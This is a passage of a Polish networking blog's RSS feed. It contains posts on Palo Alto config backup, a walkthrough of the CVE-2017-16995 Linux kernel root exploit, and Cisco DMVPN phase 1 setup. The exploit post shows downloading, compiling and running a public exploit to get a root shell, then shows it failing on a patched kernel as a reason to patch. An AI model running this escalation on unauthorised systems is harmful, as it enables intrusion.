				<div data-id="963807b" class="elementor-element elementor-element-963807b elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="110b5a6" class="elementor-element elementor-element-110b5a6 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><pre><strong><span style="color: #000000;">root@NetworkAutomation-1:~# cat running-config-192.168.0.201-2017-12-28_19:36.xml</span></strong><br /><br /><span style="color: #000000;">&lt;?xml version="1.0"?&gt;</span><br /><span style="color: #000000;">&lt;config version="7.1.0" urldb="paloaltonetworks"&gt;</span><br /><span style="color: #000000;">  &lt;mgt-config&gt;</span><br /><span style="color: #000000;">    &lt;users&gt;</span><br /><span style="color: #000000;">      &lt;entry name="admin"&gt;</span><br /><span style="color: #000000;">         &lt;phash&gt;fnRL/G5lXVMug&lt;/phash&gt;</span><br /><span style="color: #000000;">         &lt;permissions&gt;</span><br /><span style="color: #000000;">           &lt;role-based&gt;</span><br /><span style="color: #000000;">             &lt;superuser&gt;yes&lt;/superuser&gt;</span><br /><span style="color: #000000;">           &lt;/role-based&gt;</span><br /><span style="color: #000000;">         &lt;/permissions&gt;</span><br /><span style="color: #000000;">      &lt;/entry&gt;</span><br /><span style="color: #000000;">    &lt;/users&gt;</span><br /><span style="color: #000000;">  &lt;/mgt-config&gt;</span><br /><span style="color: #000000;">  &lt;shared&gt;</span><br /><span style="color: #000000;">    &lt;application/&gt;</span><br /><span style="color: #000000;">    &lt;application-group/&gt;</span><br /><span style="color: #000000;">    &lt;service/&gt;</span><br /><span style="color: #000000;">    &lt;service-group/&gt;</span><br /><span style="color: #000000;">    &lt;botnet&gt;</span><br /><span style="color: #000000;">       &lt;configuration&gt;</span><br /><span style="color: #000000;">         &lt;http&gt;</span><br /><span style="color: #000000;">           &lt;dynamic-dns&gt;</span><br /><span style="color: #000000;">             &lt;enabled&gt;yes&lt;/enabled&gt;</span><br /><span style="color: #000000;">             &lt;threshold&gt;5&lt;/threshold&gt;</span><br /><span style="color: #000000;">           &lt;/dynamic-dns&gt;<br />     ...</span></pre><p> </p><h5><span style="color: #000000;">PODSUMOWANIE</span></h5></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="f6d1c33" class="elementor-element elementor-element-f6d1c33 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="a3ba6ef" class="elementor-element elementor-element-a3ba6ef elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="61cf95e" class="elementor-element elementor-element-61cf95e elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Jak widać API na urządzeniach Palo Alto umożliwia w łatwy sposób eksportować konfigurację, dzięki czemu w przypadku awarii urządzenia mamy kopię konfiguracji. Jest to bardzo przydatne zwłaszcza w sytuacji gdy mamy wiele firewalli do administracji. W kolejnych wpisach pokaże więcej możliwości wykorzystania API na urządzeniach Palo Alto.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
						</div>
			</div>
		</div>
		]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/palo-alto-api-backup-konfiguracji-python-skrypt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exploit na jądro Linux &#8211; podniesienie uprawnień do roota</title>
		<link>https://kubsoo.github.io/rsnet-website/exploit-na-jadro-linux-podniesienie-uprawnien-do-roota/</link>
		<comments>https://kubsoo.github.io/rsnet-website/exploit-na-jadro-linux-podniesienie-uprawnien-do-roota/#respond</comments>
		<pubDate>Wed, 27 Dec 2017 19:23:57 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[jądro]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[podniesienie uprawnień]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=915</guid>
		<description><![CDATA[Pod poniższym linkiem można znaleźć gotowy exploit wykorzystujący podatność CVE-2017-16995 https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c Podatność CVE-2017-16995 została opisana dla systemu Debian pod podanym adresem: https://security-tracker.debian.org/tracker/CVE-2017-16995 Błąd dotyczy wersji jądra &#62;= 4.9. Listę podatnych&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[		<div class="elementor elementor-915">
			<div class="elementor-inner">
				<div class="elementor-section-wrap">
							<section data-id="e6d72c9" class="elementor-element elementor-element-e6d72c9 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="8e44464" class="elementor-element elementor-element-8e44464 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="999319e" class="elementor-element elementor-element-999319e elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Pod poniższym linkiem można znaleźć gotowy exploit wykorzystujący podatność CVE-2017-16995 </span></p><p style="text-align: justify;"><span style="color: #ff0000;"><a style="color: #ff0000;" href="https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c">https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c</a></span></p><p style="text-align: justify;"><span style="color: #000000;">Podatność CVE-2017-16995 została opisana dla systemu Debian pod podanym adresem:</span></p><p><span style="color: #ff0000;"><a style="color: #ff0000;" href="https://security-tracker.debian.org/tracker/CVE-2017-16995​">https://security-tracker.debian.org/tracker/CVE-2017-16995</a></span></p><p style="text-align: justify;"><span style="color: #000000;">Błąd dotyczy wersji jądra &gt;= 4.9. Listę podatnych jądr można znaleźć pod tym linkiem: </span></p><p style="text-align: justify;"><span style="color: #000000;"><span style="color: #ff0000;">https://www.securityfocus.com/bid/102288</span></span></p><p style="text-align: justify;"><span style="color: #000000;">Więcej informacji o podatności można znaleźć tutaj:</span></p><p><a href="http://seclists.org/oss-sec/2017/q4/429​" data-wplink-url-error="true"><span style="color: #ff0000;">http://seclists.org/oss-sec/2017/q4/429</span></a></p><h5> </h5><h5><span style="color: #000000;">EXPLOIT</span></h5><p style="text-align: justify;"><span style="color: #000000;">Jak wykorzystać exploita, pokaże na przykładzie systemu operacyjnego Ubuntu z jądrem w wersji  <strong>4.10.0-041000-generic </strong></span></p><p style="text-align: justify;"><span style="color: #000000;">Najpierw ściągnijmy kod exploita:</span></p><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ <strong>wget https://raw.githubusercontent.com/brl/grlh/master/get-rekt-linux-hardened.c</strong></span><br /><span style="color: #000000;">--2017-12-28 13:03:10-- https://raw.githubusercontent.com/brl/grlh/master/get-rekt-linux-hardened.c</span><br /><span style="color: #000000;">Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...</span><br /><span style="color: #000000;">Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.</span><br /><span style="color: #000000;">HTTP request sent, awaiting response... 200 OK</span><br /><span style="color: #000000;">Length: 11540 (11K) [text/plain]</span><br /><span style="color: #000000;">Saving to: ‘get-rekt-linux-hardened.c’</span><br /><br /><span style="color: #000000;">get-rekt-linux-hard 100%[===================&gt;] 11.27K --.-KB/s in 0.002s</span><br /><br /><span style="color: #000000;">2017-12-28 13:03:10 (7.06 MB/s) - ‘get-rekt-linux-hardened.c’ saved [11540/11540]</span></pre><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ ls -l</span><br /><span style="color: #000000;">total 148</span><br /><span style="color: #000000;">-rw-rw-r-- 1 kuba kuba 150547 Dec 28 12:55 get-rekt-linux-hardened.c</span></pre><p style="text-align: justify;"><span style="color: #000000;">Jak widać mój użytkownik to kuba, sprawdźmy wynik komendy id dla tego użytkownika:</span></p><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ id</span><br /><span style="color: #000000;">uid=1000(kuba) gid=1000(kuba) groups=1000(kuba)</span></pre><p style="text-align: justify;"><span style="color: #000000;">Widzimy, że użytkownik nie jest rootem, możemy więc spróbować uruchomić exploit i zdobyć uprawnienia roota.</span></p><h5> </h5><h5><span style="color: #000000;">URUCHOMIENIE EXPLOITA</span></h5><p style="text-align: justify;"><span style="color: #000000;">Exploita musimy skompilować, a następnie uruchomić. Do kompilowania użyjemy kompilatora gcc dostępnego w systemie:</span></p><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ <strong>gcc -o get-rekt-linux-hardened.o get-rekt-linux-hardened.c</strong></span><br /><span style="color: #000000;">get-rekt-linux-hardened.c: In function ‘writemsg’:</span><br /><span style="color: #000000;">get-rekt-linux-hardened.c:334:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 3 has type ‘ssize_t {aka long int}’ [-Wformat=]</span><br /><span style="color: #000000;"> fprintf(stderr, "short write: %d\n", n);</span><br /><span style="color: #000000;"> ^</span><br /><span style="color: #000000;">kuba@Ubuntu-1:~$ </span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="c128ae7" class="elementor-element elementor-element-c128ae7 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="ac34797" class="elementor-element elementor-element-ac34797 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="a5024ce" class="elementor-element elementor-element-a5024ce elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Przy kompilacji dostaliśmy ostrzeżenie, jednak nie musimy się nim przejmować, kod został skompilowany i w wyniku działania powyższej komendy otrzymaliśmy plik: <em>get-rekt-linux-hardened.o</em></span></p><p style="text-align: justify;"><span style="color: #000000;">Teraz pozostało tylko uruchomienie pliku:</span></p><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ ./get-rekt-linux-hardened.o</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[*] creating bpf map</span><br /><span style="color: #000000;">[*] sneaking evil bpf past the verifier</span><br /><span style="color: #000000;">[*] creating socketpair()</span><br /><span style="color: #000000;">[*] attaching bpf backdoor to socket</span><br /><span style="color: #000000;">[*] Leaking sock struct from ffff9a4db123d800</span><br /><span style="color: #000000;">[*] found sock-&gt;sk_rcvtimeo at offset 592</span><br /><span style="color: #000000;">[*] found sock-&gt;sk_peer_cred</span><br /><span style="color: #000000;">[*] hammering cred structure at ffff9a4db78f46c0</span><br /><span style="color: #000000;">[*] credentials patched, launching shell...</span><br /><span style="color: #000000;">#</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="926fa44" class="elementor-element elementor-element-926fa44 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="bcf2392" class="elementor-element elementor-element-bcf2392 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="ce5893c" class="elementor-element elementor-element-ce5893c elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Udało się !. Znak # sugeruje że jesteśmy teraz w shellu roota, sprawdźmy to wykonując komendę id:</span></p><pre><span style="color: #000000;"># id</span><br /><span style="color: #000000;">uid=0(root) gid=0(root) groups=0(root)</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="1c1ce18" class="elementor-element elementor-element-1c1ce18 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="4c1587d" class="elementor-element elementor-element-4c1587d elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="9e115ed" class="elementor-element elementor-element-9e115ed elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">PODSUMOWANIE</span></h5><p style="text-align: justify;"><span style="color: #000000;">Jest to świeży BUG (został upubliczniony 21.12.2017). W momencie pisania tego artykułu istnieje załatane jądro do Ubuntu w wersji 4.15-rc5. Jak zaktualizować jądro pokazywałem we wpisie:</span> <a href="https://kubsoo.github.io/rsnet-website/ubuntu-aktualizacja-jadra-na-szybko/">https://kubsoo.github.io/rsnet-website/ubuntu-aktualizacja-jadra-na-szybko/</a></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="119d92c" class="elementor-element elementor-element-119d92c elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="8d8ecd5" class="elementor-element elementor-element-8d8ecd5 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="3e2a149" class="elementor-element elementor-element-3e2a149 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Sprawdźmy jak zachowa się ten sam exploit na zaktualizowanym jądrze:</span></p><pre style="text-align: justify;"><span style="color: #000000;">kuba@Ubuntu-1:~$ uname -a</span><br /><span style="color: #000000;">Linux Ubuntu-1 <strong>4.15.0-041500rc5-generic</strong> #201712240530 SMP Sun Dec 24 05:31:14 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux</span></pre><pre><span style="color: #000000;">kuba@Ubuntu-1:~$ ./get-rekt-linux-hardened.o</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **</span><br /><span style="color: #000000;">[.]</span><br /><span style="color: #000000;">[*] creating bpf map</span><br /><span style="color: #000000;">[*] sneaking evil bpf past the verifier</span><br /><span style="color: #000000;">[*] log:</span><br /><span style="color: #000000;">0: (b4) (u32) r2 = (u32) -1</span><br /><span style="color: #000000;">1: (55) if r2 != 0xffffffff goto pc+2</span><br /><span style="color: #000000;"> R1=ctx(id=0,off=0,imm=0) R2=inv-1 R10=fp0</span><br /><span style="color: #000000;">2: (b7) r0 = 0</span><br /><span style="color: #000000;">3: (95) exit</span><br /><br /><span style="color: #000000;">from 1 to 4: R1=ctx(id=0,off=0,imm=0) R2=inv4294967295 R10=fp0</span><br /><span style="color: #000000;">4: (7b) *(u64 *)(r10 -16) = r1</span><br /><span style="color: #000000;">5: (18) r9 = 0x0</span><br /><span style="color: #000000;">7: (bf) r1 = r9</span><br /><span style="color: #000000;">8: (bf) r2 = r10</span><br /><span style="color: #000000;">9: (07) r2 += -4</span><br /><span style="color: #000000;">10: (62) *(u32 *)(r10 -4) = 0</span><br /><span style="color: #000000;">11: (85) call bpf_map_lookup_elem#1</span><br /><span style="color: #000000;">12: (55) if r0 != 0x0 goto pc+1</span><br /><span style="color: #000000;"> R0=inv0 R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">13: (95) exit</span><br /><br /><span style="color: #000000;">from 12 to 14: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">14: (79) r6 = *(u64 *)(r0 +0)</span><br /><span style="color: #000000;"> R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">15: (bf) r1 = r9</span><br /><span style="color: #000000;">16: (bf) r2 = r10</span><br /><span style="color: #000000;">17: (07) r2 += -4</span><br /><span style="color: #000000;">18: (62) *(u32 *)(r10 -4) = 1</span><br /><span style="color: #000000;">19: (85) call bpf_map_lookup_elem#1</span><br /><span style="color: #000000;">20: (55) if r0 != 0x0 goto pc+1</span><br /><span style="color: #000000;"> R0=inv0 R6=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">21: (95) exit</span><br /><br /><span style="color: #000000;">from 20 to 22: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">22: (79) r7 = *(u64 *)(r0 +0)</span><br /><span style="color: #000000;"> R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">23: (bf) r1 = r9</span><br /><span style="color: #000000;">24: (bf) r2 = r10</span><br /><span style="color: #000000;">25: (07) r2 += -4</span><br /><span style="color: #000000;">26: (62) *(u32 *)(r10 -4) = 2</span><br /><span style="color: #000000;">27: (85) call bpf_map_lookup_elem#1</span><br /><span style="color: #000000;">28: (55) if r0 != 0x0 goto pc+1</span><br /><span style="color: #000000;"> R0=inv0 R6=inv(id=0) R7=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">29: (95) exit</span><br /><br /><span style="color: #000000;">from 28 to 30: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R7=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">30: (79) r8 = *(u64 *)(r0 +0)</span><br /><span style="color: #000000;"> R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R7=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">31: (bf) r2 = r0</span><br /><span style="color: #000000;">32: (b7) r0 = 0</span><br /><span style="color: #000000;">33: (55) if r6 != 0x0 goto pc+2</span><br /><span style="color: #000000;"> R0=inv0 R2=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv0 R7=inv(id=0) R8=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx</span><br /><span style="color: #000000;">34: (7b) *(u64 *)(r2 +0) = r10</span><br /><span style="color: #000000;">R10 leaks addr into map</span><br /><span style="color: #000000;">[!] failed to load prog 'Permission denied'</span><br /><br /><br /></pre><p style="text-align: justify;"><span style="color: #000000;">Jak widać jądro w wersji 4.15.0-041500rc5-generic jest odporne na tego exploita, więc zachęcam do szybkiego patchowania.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
						</div>
			</div>
		</div>
		]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/exploit-na-jadro-linux-podniesienie-uprawnien-do-roota/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DMVPN faza 1 &#8211; konfiguracja</title>
		<link>https://kubsoo.github.io/rsnet-website/dmvpn-faza-1-konfiguracja/</link>
		<comments>https://kubsoo.github.io/rsnet-website/dmvpn-faza-1-konfiguracja/#respond</comments>
		<pubDate>Mon, 18 Dec 2017 18:17:16 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Na szybko]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[dmvpn]]></category>
		<category><![CDATA[faza 1]]></category>
		<category><![CDATA[konfiguracja]]></category>
		<category><![CDATA[nhrp]]></category>
		<category><![CDATA[Poradnik]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=956</guid>
		<description><![CDATA[Dynamic Multipoint VPN (DMVPN) faza 1, czyli tunele hub-and-spoke z dynamicznymi mapowaniami NHRP Topologia Konfiguracja R1 hostname HUB!interface Tunnel0 ip address 172.22.10.1 255.255.255.0 ip nhrp network-id 123 tunnel source FastEthernet0/0 tunnel&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[		<div class="elementor elementor-956">
			<div class="elementor-inner">
				<div class="elementor-section-wrap">
							<section data-id="1c79627" class="elementor-element elementor-element-1c79627 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="9c650a4" class="elementor-element elementor-element-9c650a4 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="7aa1a3f" class="elementor-element elementor-element-7aa1a3f elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;"><strong>Dynamic Multipoint VPN (DMVPN) faza 1</strong>, czyli tunele hub-and-spoke z dynamicznymi mapowaniami NHRP</span></p><h5><span style="color: #000000;">Topologia</span></h5></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="918b75f" class="elementor-element elementor-element-918b75f elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="a3ada10" class="elementor-element elementor-element-a3ada10 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="af0170c" class="elementor-element elementor-element-af0170c elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/dmvpn_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title="">
							<img width="521" height="410" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/dmvpn_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/dmvpn_1.png 521w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/dmvpn_1-300x236.png 300w" sizes="(max-width: 521px) 100vw, 521px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="b91bbb2" class="elementor-element elementor-element-b91bbb2 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="24ea96d" class="elementor-element elementor-element-24ea96d elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="1cde9a9" class="elementor-element elementor-element-1cde9a9 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">Konfiguracja</span></h5><p><span style="color: #000000;">R1</span></p><pre><span style="color: #000000;">hostname HUB</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface Tunnel0</span><br /><span style="color: #000000;"> ip address 172.22.10.1 255.255.255.0</span><br /><span style="color: #000000;"> ip nhrp network-id 123</span><br /><span style="color: #000000;"> tunnel source FastEthernet0/0</span><br /><span style="color: #000000;"> tunnel mode gre multipoint</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface FastEthernet0/0</span><br /><span style="color: #000000;"> ip address 192.168.10.1 255.255.255.0</span><br /><span style="color: #000000;">!</span></pre><p><span style="color: #000000;">R2</span></p><pre><span style="color: #000000;">hostname SPOKE1</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface Tunnel0</span><br /><span style="color: #000000;"> ip address 172.22.10.2 255.255.255.0</span><br /><span style="color: #000000;"> ip nhrp map 172.22.10.1 192.168.10.1</span><br /><span style="color: #000000;"> ip nhrp network-id 123</span><br /><span style="color: #000000;"> ip nhrp nhs 172.22.10.1</span><br /><span style="color: #000000;"> tunnel source FastEthernet0/0</span><br /><span style="color: #000000;"> tunnel destination 192.168.10.1</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface FastEthernet0/0</span><br /><span style="color: #000000;"> ip address 192.168.10.2 255.255.255.0</span><br /><span style="color: #000000;">!<br /></span></pre><p><span style="color: #000000;">R3</span></p><pre><span style="color: #000000;">hostname SPOKE2</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface Tunnel0</span><br /><span style="color: #000000;"> ip address 172.22.10.3 255.255.255.0</span><br /><span style="color: #000000;"> ip nhrp map 172.22.10.1 192.168.10.1</span><br /><span style="color: #000000;"> ip nhrp network-id 123</span><br /><span style="color: #000000;"> ip nhrp nhs 172.22.10.1</span><br /><span style="color: #000000;"> tunnel source FastEthernet0/0</span><br /><span style="color: #000000;"> tunnel destination 192.168.10.1</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface FastEthernet0/0</span><br /><span style="color: #000000;"> ip address 192.168.10.3 255.255.255.0</span><br /><span style="color: #000000;">!</span></pre><p><span style="color: #000000;">R4</span></p><pre><span style="color: #000000;">hostname SPOKE3</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface Tunnel0</span><br /><span style="color: #000000;"> ip address 172.22.10.4 255.255.255.0</span><br /><span style="color: #000000;"> ip nhrp map 172.22.10.1 192.168.10.1</span><br /><span style="color: #000000;"> ip nhrp network-id 123</span><br /><span style="color: #000000;"> ip nhrp nhs 172.22.10.1</span><br /><span style="color: #000000;"> tunnel source FastEthernet0/0</span><br /><span style="color: #000000;"> tunnel destination 192.168.10.1</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface FastEthernet0/0</span><br /><span style="color: #000000;"> ip address 192.168.10.4 255.255.255.0</span><br /><span style="color: #000000;">!</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="3448fe7" class="elementor-element elementor-element-3448fe7 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="e27c1b9" class="elementor-element elementor-element-e27c1b9 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="5327d05" class="elementor-element elementor-element-5327d05 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">Przydatne komendy</span></h5><ul><li><span style="color: #000000;">show dmvpn</span></li><li><span style="color: #000000;">show ip nhrp</span></li></ul><p> </p><p><strong><span style="color: #000000;">HUB (R1)</span></strong></p><pre><span style="color: #000000;">HUB#show dmvpn</span><br /><span style="color: #000000;">Legend: Attrb --&gt; S - Static, D - Dynamic, I - Incomplete</span><br /><span style="color: #000000;"> N - NATed, L - Local, X - No Socket</span><br /><span style="color: #000000;"> # Ent --&gt; Number of NHRP entries with same NBMA peer</span><br /><span style="color: #000000;"> NHS Status: E --&gt; Expecting Replies, R --&gt; Responding, W --&gt; Waiting</span><br /><span style="color: #000000;"> UpDn Time --&gt; Up or Down Time for a Tunnel</span><br /><span style="color: #000000;">==========================================================================</span><br /><br /><span style="color: #000000;">Interface: Tunnel0, IPv4 NHRP Details</span><br /><span style="color: #000000;">Type:Hub, NHRP Peers:3,</span><br /><br /><span style="color: #000000;"># Ent Peer NBMA Addr Peer Tunnel Add State UpDn Tm Attrb</span><br /><span style="color: #000000;"> ----- --------------- --------------- ----- -------- -----</span><br /><span style="color: #000000;"> 1 192.168.10.2 172.22.10.2 UP 01:36:59 D</span><br /><span style="color: #000000;"> 1 192.168.10.3 172.22.10.3 UP 01:36:59 D</span><br /><span style="color: #000000;"> 1 192.168.10.4 172.22.10.4 UP 01:36:59 D</span></pre><pre><span style="color: #000000;">HUB#show ip 